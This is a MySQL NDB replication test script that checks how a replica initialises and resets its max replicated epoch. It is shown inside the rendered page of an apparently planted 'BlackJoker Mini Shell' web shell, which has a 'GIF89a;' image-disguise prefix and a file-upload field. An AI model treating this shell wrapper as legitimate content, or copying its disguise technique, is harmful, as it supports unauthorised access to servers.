GIF89a; Mini Shell

Mini Shell

Direktori : /usr/share/mysql-test/suite/ndb_rpl/t/
Upload File :
Current File : //usr/share/mysql-test/suite/ndb_rpl/t/ndb_rpl_init_rep_status.test

--source include/have_ndb.inc
--source include/have_binlog_format_mixed_or_row.inc
--source suite/ndb_rpl/ndb_master-slave.inc

# Test Slave initialisation of Ndb_slave_max_replicated_epoch status var

--connection slave
reset master;
stop slave;

--connection master
--echo Generate something in the Masters Binlog
use test;
create table t1 (a int primary key, b int) engine=ndb;

insert into t1 values (1,1);

--connection slave
--echo Initial state
select * from mysql.ndb_apply_status;
select variable_value from information_schema.global_status
  where variable_name like '%Ndb_slave_max_replicated_epoch%';
select @slave_server_id:=(variable_value+0) from information_schema.global_variables
  where variable_name like 'server_id';

--echo Default, no data, max replicated epoch will be 0.
reset slave;
start slave;
--connection master
--sync_slave_with_master
--connection slave
--replace_column 3 # 4 # 5 #
select server_id from mysql.ndb_apply_status order by server_id;
select variable_value from information_schema.global_status
  where variable_name like 'Ndb_slave_max_replicated_epoch';

--echo Default, load of own serverid from ndb_apply_status, should be 111
drop table test.t1;
stop slave;
reset slave;
insert into mysql.ndb_apply_status values (@slave_server_id, 111, 'Fictional log', 222, 333);
start slave;
--connection master
--sync_slave_with_master
--connection slave
--replace_column 3 # 4 # 5 #
select server_id from mysql.ndb_apply_status order by server_id;
select variable_value from information_schema.global_status
  where variable_name like 'Ndb_slave_max_replicated_epoch';

drop table test.t1;

--echo Check that reset slave resets Ndb_slave_max_replicated_epoch
stop slave;
select variable_value from information_schema.global_status
  where variable_name like 'Ndb_slave_max_replicated_epoch';
reset slave;
select variable_value from information_schema.global_status
  where variable_name like 'Ndb_slave_max_replicated_epoch';

--echo Multiple-channel, load highest of configured serverids, should be 222
set @other_local_server_id=@slave_server_id+1;
set @other_remote_server_id=@slave_server_id+2;
insert into mysql.ndb_apply_status values (@slave_server_id, 111, 'Fictional log', 222, 333);
insert into mysql.ndb_apply_status values (@other_local_server_id, 222, 'Fictional log', 222, 333);
insert into mysql.ndb_apply_status values (@other_remote_server_id, 444, 'Fictional log', 222, 333);

let $local_server_ids = `select @other_local_server_id`;

--eval CHANGE MASTER TO IGNORE_SERVER_IDS=($local_server_ids);
start slave;
--connection master
--sync_slave_with_master
--connection slave
--replace_column 3 # 4 # 5 #
select server_id from mysql.ndb_apply_status order by server_id;
select variable_value from information_schema.global_status
  where variable_name like 'Ndb_slave_max_replicated_epoch';

# Clean up
stop slave;
CHANGE MASTER TO IGNORE_SERVER_IDS= ();
start slave;
--connection master
drop table test.t1;
sync_slave_with_master;

--source include/rpl_end.inc


./BlackJoker Mini Shell 1.0